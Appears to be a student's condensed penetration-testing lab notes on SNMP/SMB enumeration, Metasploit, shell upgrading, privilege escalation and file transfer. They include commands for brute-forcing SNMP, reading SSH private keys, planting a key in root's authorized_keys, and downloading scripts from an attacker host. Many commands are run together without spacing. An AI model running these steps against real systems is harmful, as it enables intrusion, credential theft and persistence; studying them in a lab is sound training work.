Community strings provide info, stats about router, device
Default strings of public and private often unchanged
SNMP versions 1, 2c: Access controlled using plaintext string
If we know the name, we can gain access
Encryption/auth were added in SNMP v3
#smbclientsmbclient-N-L \\\\10.10.10.0# list SMB sharessmbclient \\\\10.10.10.0\\users# connect to SMB sharesmbclient--no-pass-L//10.10.10.1# null usersmbclient-U'user[%passwd]'-L [--pw-nt-hash] //10.10.10.1 # use NT hashsmbclient-U'%'-N \\\\10.10.10.1\\<SHARE># null session to share#snmpwalksnmpwalk-v2c-cpublic10.10.10.11.3.6.1.2.1.1.5.0# scan snmp on ip snmpget-V# what version is running locally?#handy OID's to know1.3.6.1.2.1.1.1.0# system description1.3.6.1.4.1.77.1.2.25# win usrs1.3.6.1.2.1.25.4.2.1.2# running procs1.3.6.1.2.1.2.2.1.2# int name1.3.6.1.2.1.6.13.1.3# open tcp ports1.3.6.1.2.1.25.6.3.1.2# software1.3.6.1.2.1.25.2.3.1.4# storage units1.3.6.1.2.1.4.35# nat table1.3.6.1.2.1.4.21# ip route table1.3.6.1.2.1.31.1.1.1# wireless table#other onesixtyone-cbrute.txt10.10.10.1# brute force snmp secretenum4linux-a# enum4linux scan
Tmux primer by ippsec
Vim Primer
Netcat: Win: netcat | Win alt: PowerCatsocat Features nc doesn't have (fwding ports, connecting to serial devices)
VMware Workstation, requires a paid license but offers many features Hypervisor: Allows us to create/run VMs: Enables us to use host to run VMs by virtually sharing mem/resources
Run isolated from primary OS, which offers isolation/protection
ISO: Optical disc image: CD-ROM that can be mounted to build a VM by installing OS
OVA: Open Virtual Appliance: A pre-built virtual appliance
Contains an OVF XML file: Specifies the VM hardware settings
VMDK: Virtual disk the OS is installed on Parrot maintains a variety of helpful docs
Metasploit Framework: Contains built-in exploits of public vulns
Recon scripts enum hosts, compromised targets
Verification scripts validate vulnerabilities without hacking it
Meterpreter -Connect to shells, run cmds on hacked targets
Post-exploit/pivot tools
msfconsole -q # start metasploit without banner
search exploit eternalblue # use number: search can apply filters
cve:2009type:exploit
help search # shows all filters
options # show module options
check # not every exploit supports this - checks if target vuln
run or exploit # start attempt
Reverse Shell Commands
Cmd we exec depends on OS a compromised host runs: What apps/cmds we can access
Unlike revshells, if we drop a connection to a bind shell, we can connect back immediately
If the shell cmd stopped, or the remote host rebooted: Then we'd lose access
We can only type cmds/backspace when connected/can't move the cursor etc..
We can upgrade our TTY by mapping term TTY with remote one
python -c 'import pty; pty.spawn("/bin/bash")'ctrl +z # background: get back on local termstty raw -echo # raw mode: what's sent is exactly what's receivedfg # foregroundecho $TERM # see terminal typestty size # size for rows/columnsexport TERM=xterm-256color # change term settingsstty rows 67 columns 318# change row/column size settings
Accepts cmd via HTTP params like GET/POST execs, prints back: web scripts (PHP/ASP)
Web shell scripts typically 1-liners
Need to place our script into the remote host's web dir (webroot) to exec through browser
dkpg-l# see what software is installedC:\ProgramFiles# see what software is installed windows find/-perm-u=s-typef2>/dev/null# find all perms with ssudo-l# check what sudo privs we have
User Privileges
Allows a user to exec cmds as a diff user: Lower priv users to exec cmds as root without access
Set user id: Perm that assigns to exec files: users who exec file temp assume privs of file's owner
Security objects that contain info about user privs
User logs in, LSA: Local Security Authority creates access token: Contains list of privs
GTFOBins List of cmds/how they can be exploited through sudo
LOLBAS List of Win apps leverage, like downloading files/exec cmds
Scheduled Tasks
Cron jobs: Form of scheduling tasks with specific dirs we utilize to add jobs: Need right perms
If we can write to a dir called by a cron job: should send us a shell when exec
Exposed Credentials Common config files, logs, user history (bash_history/PSReadLine in Win)
SSH KeysIf we have read access over .ssh dir for a specific user
We might be able to read priv ssh keys in
/home/user/.ssh/id_rsa or /root/.ssh/id_rsa and use that to log in
If we can read the /root/.ssh/ dir, we can cp it to our machine using -i
cat/home/user/.ssh/id_rsaorcat/home/root.ssh/id_rsavimid_rsachmod600id_rsa# changes perms to be more restricetive: # lax perms means ssh server could prevent them from working sshmootarget@10.10.10.10-iid_rsa
If we see write access to a user/.ssh/ dir, can place our public key in the dir
SSH config won't accept keys written by other users, so works if we have control over them
cat/home/user/.ssh/authorized_keysssh-keygen-fkey# create new key, -f output file# 2 files created 1.key (we usethiswithssh-i)2.key.pub# we copy this to the remote machine# cp key.pub onto the remote machine# add it to /home/root/.ssh/authorized_keysecho"ssh-rsa DSJDKLAAAAB...SNIP...M= user@parrot">>/root/.ssh/authorized_keys# echo typically achieves this and all we're doing here is appending it to the filesshroot@10.10.10.1-ikey
Transferring Files Python HTTP server on our machine and wget/cURL to download files
cd /tmp # go into tmppython3 -m http.server 8000# start simple serverwget http://10.10.14.1:8000/linenum.sh # has to be in the same dir listed - dlcurl http://10.10.14.1:8000/linenum.sh -o linenum.sh # -o output file namescp linenum.sh user@remotehost:/tmp/linenum.sh # specify local file w/scp, remote dir saved
Base64 base64 encode the file into b64, paste the str on the remote server, decod
base64shell-w0# xsfer bin file shell, b64 encode itf0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA...<SNIP>...lIuy9iaW4vc2gAU0iJ51JXSInmDwUechof0VMRgA...<SNIP>...lIuy9iaW4vc2gAU0iJ51JXSInmDwU|base64-d>shell# copy b64 str, go to remote host: use b64 -d to decode and pip to filefileshell# validate file formatmd5sumshell# check md5sums of both files